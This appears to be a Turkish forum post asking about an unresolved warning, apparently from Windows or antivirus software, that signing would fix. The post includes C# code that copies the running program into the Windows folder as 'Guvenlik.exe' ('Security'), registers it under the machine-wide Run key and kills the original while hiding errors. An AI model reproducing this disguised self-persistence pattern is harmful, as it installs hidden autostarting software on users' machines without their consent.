Yabancı kaynaklarda da araştırma sonuçlarım:
- Properties>AssemblyInfo.cs dosyasını editledim ama sonuç değişmedi
- Proje için sertifika almamı söylüyorlar ama bu proje için ücretler acayip pahalı geliyor
static string destination = string.Empty;
public static void CopyExe()
{
try
{
string source = Application.ExecutablePath.ToString();
destination = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Guvenlik.exe");
File.Copy(source, destination, true);
Process.Start(destination);
SetRegistry();
Process.GetCurrentProcess().Kill();
}
catch
{
}
}
public static void SetRegistry()
{
RegistryKey registrykey = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
if (registrykey.GetValue("Guvenlik") == null)
{
registrykey.SetValue("Guvenlik", destination);
}
registrykey.Close();
}